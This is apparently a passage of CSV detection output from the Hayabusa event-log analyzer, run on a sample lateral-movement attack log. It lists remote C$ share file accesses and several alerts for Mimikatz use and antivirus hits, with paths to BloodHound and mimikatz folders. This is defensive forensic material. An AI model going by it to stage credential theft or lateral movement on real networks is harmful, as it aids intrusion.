23:23:25.379 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json\tests : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.379 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.379 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\string_decoder : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.389 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\string_decoder\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.389 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\text-encoding : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.389 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\text-encoding\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.399 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\traverse : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.399 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\traverse\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.399 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\traverse\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.409 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\typedarray : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.409 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\typedarray\example : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.409 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\typedarray\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.409 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\typedarray\test\server : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.419 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\unzipper : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.419 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.419 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.419 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\dist\es5 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.429 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\dist\esnext : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.429 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.429 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\src\schemes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.439 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\tests : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.439 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\util-deprecate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.439 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uuid : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.439 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uuid\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.449 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uuid\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.449 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\voc : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.449 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\warning : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.449 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\wrappy : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.459 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\write-file-atomic : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.459 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\xlsx : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.459 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\xlsx\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.469 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\xlsx\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.469 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.479 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.479 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Float : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.489 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Menu : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.489 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Modals : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.489 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\SearchContainer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.499 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\SearchContainer\Tabs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.499 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Spotlight : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.509 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Zoom : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.509 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\css : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.509 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\fonts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.509 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\img : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.519 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.519 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\HackingStuff : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.519 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\HackingStuff\logs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\mimikatz_trunk : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\mimikatz_trunk\Win32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\mimikatz_trunk\x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.539 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.539 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.539 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.549 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.549 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.549 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral 